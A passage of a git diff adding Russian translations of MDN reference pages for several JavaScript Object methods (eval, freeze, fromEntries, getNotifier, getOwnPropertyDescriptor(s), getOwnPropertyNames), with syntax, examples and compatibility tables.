+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/eval/index.html b/files/ru/web/javascript/reference/global_objects/object/eval/index.html
new file mode 100644
index 0000000000..e6b8e3668f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/eval/index.html
@@ -0,0 +1,81 @@
+---
+title: Object.prototype.eval()
+slug: Web/JavaScript/Reference/Global_Objects/Object/eval
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Obsolete
+  - Prototype
+translation_of: Archive/Web/JavaScript/Object.eval
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}} {{obsolete_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>Object.eval()</strong></code> использовался для вычисления строки JavaScript-кода в контексте объекта, однако, был удалён.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.eval(<var>string</var>)</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt>
+  <code>string</code></dt>
+ <dd>
+  Любая строка, представляющая выражение, инструкцию или последовательность инструкций JavaScript. Выражение может содержать переменые и свойства существующих объектов.</dd>
+</dl>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>eval</code> больше не используется как метод объекта. Вместо него используйте глобальную функцию {{jsxref("Global_Objects/eval", "eval()")}}.</p>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/freeze/index.html b/files/ru/web/javascript/reference/global_objects/object/freeze/index.html
new file mode 100644
index 0000000000..bd987a2915
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/freeze/index.html
@@ -0,0 +1,165 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Global_Objects/Object/freeze
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>Метод <code><strong>Object.freeze()</strong></code> замораживает объект: это значит, что он предотвращает добавление новых свойств к объекту, удаление старых свойств из объекта и изменение существующих свойств или значения их атрибутов перечисляемости, настраиваемости и записываемости. В сущности, объект становится эффективно неизменным. Метод возвращает замороженный объект.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект для заморозки.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Замороженный объект</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>К замороженному объекту нельзя добавить никаких свойств, так же как и удалить свойства из замороженного объекта. Любые попытки сделать это потерпят неудачу, либо молча, либо выбросив исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} (как правило, но не обязательно, это происходит в {{jsxref("Functions_and_function_scope/Strict_mode", "строгом режиме", "", 1)}}).</p>
+
+<p>Значения свойств-данных не могут быть изменены. Свойства-доступы (геттеры и сеттеры) работают как положено (и всё ещё создают иллюзию, что вы изменили значение). Обратите внимание, что значения, являющиеся объектами, всё ещё могут быть изменены, если только они так же не были заморожены.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Можно добавлять новые свойства, существующие свойства можно изменять или удалять
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// Оба объекта эквивалентны, а также возвращаемый объект будет заморожен.
+// Необязательно сохранять возвращаемый объект при заморозке оригинала.
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // === true;
+
+// Теперь все изменения будут заканчиваться с ошибкой
+obj.foo = 'quux'; // тихо ничего не делает
+obj.quaxxor = 'the friendly duck'; // тихо не добавляет свойство
+
+// ...а в строгом режиме такие попытки вызовут выброс исключения TypeError
+function fail() {
+  'use strict';
+  obj.foo = 'sparky'; // выбросит TypeError
+  delete obj.quaxxor; // выбросит TypeError
+  obj.sparky = 'arf'; // выбросит TypeError
+}
+
+fail();
+
+// Попытки внести изменения через метод Object.defineProperty также выбросят исключение
+Object.defineProperty(obj, 'ohai', { value: 17 }); // выбросит TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // выбросит TypeError
+</pre>
+
+<p>Следующий пример показывает, что значения-объекты в замороженном объекте могут быть изменены (заморозка неглубокая).</p>
+
+<pre class="brush: js">obj = {
+  internal: {}
+};
+
+Object.freeze(obj);
+obj.internal.a = 'значениеA';
+
+obj.internal.a // 'значениеA'
+
+// Чтобы сделать объект obj полностью неизменяемым, замораживаем каждый объект в объекте obj.
+// Для этого воспользуемся этой функцией.
+function deepFreeze(obj) {
+
+  // Получаем имена свойств из объекта obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // Замораживаем свойства для заморозки самого объекта
+  propNames.forEach(function(name) {
+    var prop = obj[name];
+
+    // Заморозка свойства prop, если оно объект
+    if (typeof prop == 'object' &amp;&amp; prop !== null)
+      deepFreeze(prop);
+  });
+
+  // Заморозить сам объект obj (ничего не произойдёт, если он уже заморожен)
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'другоеЗначение';
+obj2.internal.a; // undefined
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5 если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES2015 такой аргумент будет рассматриваться, как простой замороженный объект и метод его просто вернёт.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.freeze(1)
+1                             // код ES2015
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.freeze")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
new file mode 100644
index 0000000000..6935cd3ec6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
@@ -0,0 +1,108 @@
+---
+title: Object.fromEntries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Object.fromEntries()</strong></code> преобразует список пар ключ-значение в объект.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Object.fromEntries(<var>iterable</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Итерируемый объект, такой как {{jsxref("Array")}} или {{jsxref("Map")}} или другие объекты, реализующие <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable протокол</a>.</dd>
+</dl>
+
+<h3 id="Возращаемое_значение">Возращаемое значение</h3>
+
+<p>Новый объект, свойства которого задаются записями iterable.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>Object.fromEntries()</code> принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент <em>iterable </em>будет объектом, который реализует метод <code>@@iterator</code>, который возращает объект итератора, который создает двуэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.</p>
+
+<p><code>Object.fromEntries()</code> выполняет процедуру, обратную {{jsxref("Object.entries()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Преобразование_Map_в_Object">Преобразование <code>Map</code> в <code>Object</code></h3>
+
+<p>С <code>Object.fromEntries</code> вы можете преобразовать {{jsxref("Map")}} в {{jsxref("Object")}}:</p>
+
+<pre class="brush: js">const map = new Map([ ['foo', 'bar'], ['baz', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Преобразование_Array_в_Object">Преобразование <code>Array</code> в <code>Object</code></h3>
+
+<p>С <code>Object.fromEntries</code> вы можете преобразовать {{jsxref("Array")}} в {{jsxref("Object")}}:</p>
+
+<pre class="brush: js">const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+</pre>
+
+<h3 id="Трансформации_объектов">Трансформации объектов</h3>
+
+<p>С <code>Object.fromEntries</code>, обратным ему методом {{jsxref("Object.entries()")}} и <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Methods_2">методами манипулирования массивами</a> вы можете преобразовывать объекты следующим образом:</p>
+
+<pre class="brush: js">const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+  Object.entries(object1)
+  .map(([ key, val ]) =&gt; [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.fromentries', 'Object.fromEntries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Изначальное определение в ECMAScript 2019.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("javascript.builtins.Object.fromEntries")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html b/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html
new file mode 100644
index 0000000000..1947d51f73
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html
@@ -0,0 +1,47 @@
+---
+title: Object.getNotifier()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getNotifier
+translation_of: Archive/Web/JavaScript/Object.getNotifier
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>Метод <strong><code>Object.getNotifer()</code></strong> использовался для создания объекта, который позволяет синтетически инициировать изменение, но не рекомендуется  и удаляется в браузерах.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Object.getNotifier(<em>obj</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект для извлечения уведомителя.</dd>
+</dl>
+
+<h3 id="Возращаемое_значение">Возращаемое значение</h3>
+
+<p>Объект увидомителя, связанный с объектом, передаваемым в функцию.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Уведомитель используется для запуска искусственных изменений, которые будут обнаружены <code>Object.observe()</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification.</a></p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("javascript.builtins.Object.getNotifier")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..94c1bce570
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
@@ -0,0 +1,148 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>Object.getOwnPropertyDescriptor()</strong></code> возвращает дескриптор свойства для <dfn>собственного свойства</dfn> (то есть такого, которое находится непосредственно в объекте, а не получено через цепочку прототипов) переданного объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, в котором ищется свойство.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Имя свойства, чьё описание будет возвращено.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Дескриптор переданного свойства, если оно присутствует в объекте, либо {{jsxref("undefined")}}, если его там нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Этот метод позволяет просмотреть точное описание свойства. <dfn>Свойство</dfn> в JavaScript состоит из строкового имени и дескриптора свойства. Подробная информация о типах дескрипторов свойств и их атрибутах может быть найдена в описании метода {{jsxref("Object.defineProperty()")}}.</p>
+<p><dfn>Дескриптор свойства</dfn> — это запись с некоторыми из следующих атрибутов:</p>
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, ассоциированное со свойством (только в дескрипторе данных).</dd>
+ <dt><code>writable</code></dt>
+ <dd>Значение <code>true</code>, если значение, ассоциированное со свойством, может быть изменено, иначе <code>false</code> (только в дескрипторе данных).</dd>
+ <dt><code>get</code></dt>
+ <dd>Функция, возвращающая значение свойства, либо {{jsxref("undefined")}}, если такая функция отсутствует (только в дескрипторе доступа).</dd>
+ <dt><code>set</code></dt>
+ <dd>Функция, изменяющая значение свойства, либо {{jsxref("undefined")}}, если такая функция отсутствует (только в дескрипторе доступа).</dd>
+ <dt><code>configurable</code></dt>
+ <dd>Значение <code>true</code>, если тип дескриптора этого свойства может быть изменён и если свойство может быть удалено из содержащего его объекта, иначе <code>false</code>.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>Значение <code>true</code>, если это свойство доступно при перечислении свойств содержащего его объекта, иначе <code>false</code>.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d равен { configurable: true, enumerable: true, get: /*функция геттера*/, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d равен { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d равен { value: 8675309, writable: false, enumerable: false, configurable: false }
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+<p>В ES5, если первый аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет сначала приведён к объекту.</p>
+<pre class="brush: js">&gt; Object.getOwnPropertyDescriptor('foo', 0)
+TypeError: "foo" is not an object  // код ES5
+
+&gt; Object.getOwnPropertyDescriptor('foo', 0)
+{ configurable: false, enumerable: true, value: 'f', writable: false }  // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("5")}}</td>
+    <td>{{CompatGeckoDesktop("2")}}</td>
+    <td>{{CompatIE("8")}}</td>
+    <td>{{CompatOpera("12 alpha")}}</td>
+    <td>{{CompatSafari("5")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
new file mode 100644
index 0000000000..3b1c545f1b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
@@ -0,0 +1,115 @@
+---
+title: Object.getOwnPropertyDescriptors()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Object.getOwnPropertyDescriptors()</strong></code> возвращает все собственные дескрипторы свойств данного объекта.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptors.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertyDescriptors(<var>obj</var>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, для которого нужно получить все собственные дескрипторы свойств.</dd>
+</dl>
+
+<h3 id="Возращаемое_значение">Возращаемое значение</h3>
+
+<p>Объект, содержащий все собственные дескрипторы свойств объекта. Может быть пустой объект, если нет свойств.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот метод позволяет изучить точное описание всех собственных свойств объекта. Свойство в JavaScript состоит из строкового имени или {{jsxref("Symbol")}}  и свойства дескриптора. Дополнительную информацию о типах свойств дескрипторов и их атрибутах можно найти в {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Свойство дескриптора это запись с некоторыми из следующих атрибутов:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, связанное со свойством (только дескрипторы данных).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd><code>true</code>  тогда и только тогда когда значение, связанное со свойством, может быть изменено (только дескрипторы данных).</dd>
+ <dt><code>get</code></dt>
+ <dd>Функция, которая служит в качестве получателя для свойства, или {{jsxref("undefined")}} если нет получателя (только дескрипторы доступа).</dd>
+ <dt><code>set</code></dt>
+ <dd>Функция, которая служит установщиком для свойства, или {{jsxref("undefined")}} если установщика нет (только дескрипторы доступа).</dd>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> тогда и только тогда, когда тип этого свойства дескриптора может быть изменен, и если свойство может быть удалено из соответствующего объекта.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> тогда и только тогда, когда это свойство отображается при перечислении свойств соответствующего объекта.
+ <p> </p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Создание_поверхностного_клона">Создание поверхностного клона</h3>
+
+<p>В то время как метод {{jsxref("Object.assign()")}} будет только копировать перечисяемые и собственные свойствва из исходного объекат в целевой объект, вы можете использовать этот метод и {{jsxref("Object.create()")}} для поверхностного копирования между двумя неизвестными объектами:</p>
+
+<pre class="brush: js">Object.create(
+  Object.getPrototypeOf(obj),
+  Object.getOwnPropertyDescriptors(obj)
+);
+</pre>
+
+<h3 id="Создание_подкласса">Создание подкласса</h3>
+
+<p>Типичный способ создания подкласса это определить подкласс, определить свойства этого экземпляра. Это может быть неудобно особенно для получателей и установщиков. Вместо этого, вы можете использовать этот код для установки прототипа:</p>
+
+<pre class="brush: js">function superclass() {}
+superclass.prototype = {
+  // Определите ваши методы и свойства здесь
+};
+function subclass() {}
+subclass.prototype = Object.create(
+  superclass.prototype,
+  {
+    // Определите ваши методы и свойства здесь
+  }
+);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Начальное определение в ECMAScript 2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptors")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li><a href="https://github.com/tc39/proposal-object-getownpropertydescriptors">Polyfill</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertynames/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertynames/index.html
new file mode 100644
index 0000000000..c280afe9ba
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertynames/index.html
@@ -0,0 +1,161 @@
+---
+title: Object.getOwnPropertyNames()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>Метод <strong><code>Object.getOwnPropertyNames()</code></strong> возвращает массив со всеми свойствами (независимо от того, перечисляемые они или нет), найденными непосредственно в переданном объекте.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-getownpropertynames.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js"><code>Object.getOwnPropertyNames(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чьи перечисляемые <em>и неперечисляемые</em> собственные свойства будут возвращены.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив строк, который соответствует свойствам, найденным непосредственно в данном объекте.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Object.getOwnPropertyNames</code> возвращает массив строк, соответствующих перечисляемым <em>и неперечисляемым</em> свойствам, найденным непосредственно в объекте <code>obj</code>. Порядок перечисляемых свойств в массиве соответствует порядку при обходе объекта циклом {{jsxref("Statements/for...in", "for...in")}} (или при возврате методом {{jsxref("Object.keys")}}). Порядок неперечисляемых свойств в массиве, а также их местоположение среди перечисляемых свойств не определены.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Object.getOwnPropertyNames" name="Example:_Using_Object.getOwnPropertyNames">Пример: использование <code>Object.getOwnPropertyNames()</code></h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+console.log(Object.getOwnPropertyNames(arr).sort()); // напечатает '0,1,2,length'
+
+// Массивоподобный объект
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.getOwnPropertyNames(obj).sort()); // напечатает '0,1,2'
+
